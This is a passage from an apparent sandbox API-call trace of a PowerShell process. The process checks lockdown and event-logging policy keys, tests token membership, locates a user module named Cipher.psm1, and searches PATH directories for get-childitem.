lpDistanceToMoveHigh=0x5a2e8f8*=0) returned 0x14ef [0154.633] ReadFile (in: hFile=0x3ec, lpBuffer=0x22d4ab0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e924, lpOverlapped=0x0 | out: lpBuffer=0x22d4ab0*, lpNumberOfBytesRead=0x5a2e924*=0x0, lpOverlapped=0x0) returned 1 [0154.635] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e88c, Length=0x20, ResultLength=0x5a2e8fc | out: SystemInformation=0x5a2e88c, ResultLength=0x5a2e8fc*=0x0) returned 0xc0000003 [0154.635] GetSystemInfo (in: lpSystemInfo=0x5a2e908 | out: lpSystemInfo=0x5a2e908*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0154.636] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e898 | out: phkResult=0x5a2e898*=0x3f0) returned 0x0 [0154.636] RegQueryValueExW (in: hKey=0x3f0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e8b4, lpData=0x0, lpcbData=0x5a2e8b0*=0x0 | out: lpType=0x5a2e8b4*=0x0, lpData=0x0, lpcbData=0x5a2e8b0*=0x0) returned 0x2 [0154.636] RegCloseKey (hKey=0x3f0) returned 0x0 [0154.636] CloseHandle (hObject=0x3ec) returned 1 [0155.143] CoCreateGuid (in: pguid=0x5a2e9cc | out: pguid=0x5a2e9cc*(Data1=0x3966a3ad, Data2=0x2284, Data3=0x457a, Data4=([0]=0xa9, [1]=0x29, [2]=0x71, [3]=0xa8, [4]=0x6d, [5]=0x2e, [6]=0xda, [7]=0x77))) returned 0x0 [0155.144] GetCurrentProcess () returned 0xffffffff [0155.144] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2e998 | out: TokenHandle=0x5a2e998*=0x3ec) returned 1 [0155.145] GetTokenInformation (in: TokenHandle=0x3ec, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5a2e998 | out: TokenInformation=0x0, ReturnLength=0x5a2e998) returned 0 [0155.146] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x333390 [0155.146] GetTokenInformation (in: TokenHandle=0x3ec, TokenInformationClass=0x8, TokenInformation=0x333390, TokenInformationLength=0x4, ReturnLength=0x5a2e998 | out: TokenInformation=0x333390, ReturnLength=0x5a2e998) returned 1 [0155.146] LocalFree (hMem=0x333390) returned 0x0 [0155.146] DuplicateTokenEx (in: hExistingToken=0x3ec, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x5a2e9a0 | out: phNewToken=0x5a2e9a0*=0x3f0) returned 1 [0155.147] CheckTokenMembership (in: TokenHandle=0x3f0, SidToCheck=0x22fabc0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x5a2e9b0 | out: IsMember=0x5a2e9b0) returned 1 [0155.147] CloseHandle (hObject=0x3f0) returned 1 [0155.170] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e73c | out: lpPerformanceCount=0x5a2e73c*=3247969098630) returned 1 [0155.171] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0155.242] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0155.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e428) returned 1 [0155.243] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e6ec | out: lpFileInformation=0x5a2e6ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0155.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e424) returned 1 [0155.245] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0155.245] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0155.325] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e704 | out: lpPerformanceCount=0x5a2e704*=3247984532635) returned 1 [0155.371] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\EventLog\\ProtectedEventLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e614 | out: phkResult=0x5a2e614*=0x0) returned 0x2 [0155.371] EtwEventWriteTransfer () returned 0x0 [0155.372] CoCreateGuid (in: pguid=0x5a2e618 | out: pguid=0x5a2e618*(Data1=0x28206708, Data2=0x8b2b, Data3=0x449a, Data4=([0]=0x8b, [1]=0x8a, [2]=0xb2, [3]=0x83, [4]=0x9, [5]=0x25, [6]=0x41, [7]=0x90))) returned 0x0 [0155.373] CoCreateGuid (in: pguid=0x5a2e618 | out: pguid=0x5a2e618*(Data1=0xc689d364, Data2=0xb496, Data3=0x4a9b, Data4=([0]=0xa9, [1]=0x29, [2]=0x84, [3]=0x2b, [4]=0x91, [5]=0xc9, [6]=0x4b, [7]=0x79))) returned 0x0 [0156.883] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0156.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0156.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e990) returned 1 [0156.885] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2313064 | out: lpFileInformation=0x2313064*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0156.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e98c) returned 1 [0156.894] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x5a2dc3c, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0156.894] CoTaskMemAlloc (cb=0x20c) returned 0x3edfc8 [0156.894] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x3edfc8 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x0 [0156.895] CoTaskMemFree (pv=0x3edfc8) [0156.895] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x21 [0156.895] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x21, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local", lpFilePart=0x0) returned 0x20 [0156.896] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0156.945] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0156.945] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0156.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e3e0) returned 1 [0156.945] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f4 [0156.946] GetFileType (hFile=0x3f4) returned 0x1 [0156.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e3dc) returned 1 [0156.946] GetFileType (hFile=0x3f4) returned 0x1 [0156.946] ReadFile (in: hFile=0x3f4, lpBuffer=0x231419c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e454, lpOverlapped=0x0 | out: lpBuffer=0x231419c*, lpNumberOfBytesRead=0x5a2e454*=0x1000, lpOverlapped=0x0) returned 1 [0157.282] CloseHandle (hObject=0x3f4) returned 1 [0157.306] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2ede0 | out: phkResult=0x5a2ede0*=0x3f4) returned 0x0 [0157.307] RegQueryValueExW (in: hKey=0x3f4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2ee00, lpData=0x0, lpcbData=0x5a2edfc*=0x0 | out: lpType=0x5a2ee00*=0x1, lpData=0x0, lpcbData=0x5a2edfc*=0x56) returned 0x0 [0157.307] RegQueryValueExW (in: hKey=0x3f4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2ee00, lpData=0x2325554, lpcbData=0x5a2edfc*=0x56 | out: lpType=0x5a2ee00*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2edfc*=0x56) returned 0x0 [0157.307] RegCloseKey (hKey=0x3f4) returned 0x0 [0157.308] CoTaskMemAlloc (cb=0x20c) returned 0x3ee7e8 [0157.308] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x3ee7e8 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0157.308] CoTaskMemFree (pv=0x3ee7e8) [0157.308] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0157.308] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0157.308] EtwEventActivityIdControl () returned 0x0 [0157.315] CoCreateGuid (in: pguid=0x5a2efe0 | out: pguid=0x5a2efe0*(Data1=0xaec082bc, Data2=0x5e1, Data3=0x4516, Data4=([0]=0xb0, [1]=0x13, [2]=0x1d, [3]=0x3f, [4]=0xae, [5]=0x82, [6]=0xbc, [7]=0x17))) returned 0x0 [0157.315] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebd4, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0157.317] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5a2eaf0, nSize=0xc6 | out: lpBuffer="") returned 0xc9 [0157.317] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5a2eae8, nSize=0xc9 | out: lpBuffer="") returned 0xc8 [0157.318] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a2ead4, nSize=0xc9 | out: lpBuffer="") returned 0x3a [0157.346] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3e84f8 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0157.350] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a2eadc, nSize=0xc9 | out: lpBuffer="") returned 0x3a [0157.351] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0157.351] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x38 [0157.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9e8) returned 1 [0157.351] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x5a2ecac | out: lpFileInformation=0x5a2ecac*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x46c57d00, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x46c57d00, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x46c57d00, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9e4) returned 1 [0157.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eca4) returned 1 [0157.353] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0157.353] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x38 [0157.354] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\get-childitem.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\get-childitem.*"), lpFindFileData=0x5a2ea54 | out: lpFindFileData=0x5a2ea54*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9fc) returned 1 [0157.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ec5c) returned 1 [0157.358] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2e36c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0157.359] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0157.359] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0157.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9e8) returned 1 [0157.359] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5a2ecac | out: lpFileInformation=0x5a2ecac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x77890ea0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0x77890ea0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0157.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9e4) returned 1 [0157.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eca4) returned 1 [0157.359] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0157.359] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0157.360] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.*" (normalized: "c:\\windows\\syswow64\\get-childitem.*"), lpFindFileData=0x5a2ea54 | out: lpFindFileData=0x5a2ea54*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9fc) returned 1 [0157.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ec5c) returned 1 [0157.360] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0157.361] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0157.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9e8) returned 1 [0157.361] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5a2ecac | out: lpFileInformation=0x5a2ecac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcf069020, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xcf069020, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0157.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9e4) returned 1 [0157.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eca4) returned 1 [0157.361] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0157.361] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0157.362] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.*" (normalized: "c:\\windows\\get-childitem.*"), lpFindFileData=0x5a2ea54 | out: lpFindFileData=0x5a2ea54*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9fc) returned 1 [0157.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ec5c) returned 1 [0157.362] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0157.362] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0157.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9e8) returned 1 [0157.362] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5a2ecac | out: lpFileInformation=0x5a2ecac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0157.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9e4) returned 1 [0157.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eca4) returned 1 [0157.363] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0157.363] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0157.363] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.*" (normalized: "c:\\windows\\syswow64\\wbem\\get-childitem.*"), lpFindFileData=0x5a2ea54 | out: lpFindFileData=0x5a2ea54*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9fc) returned 1 [0157.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ec5c) returned 1 [0157.460] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0157.460] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0157.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9e8) returned 1 [0157.460] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5a2ecac | out: lpFileInformation=0x5a2ecac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0157.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9e4) returned 1 [0157.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eca4) returned 1 [0157.461] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0157.461] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0157.461] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\get-childitem.*"), lpFindFileData=0x5a2ea54 | out: lpFindFileData=0x5a2ea54*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9fc) returned 1 [0157.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ec5c) returned 1 [0157.464] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2eb40, nSize=0xc9 | out: lpBuffer="") returned 0xc5 [0157.466] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0157.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecd4) returned 1 [0157.468] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0157.468] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: 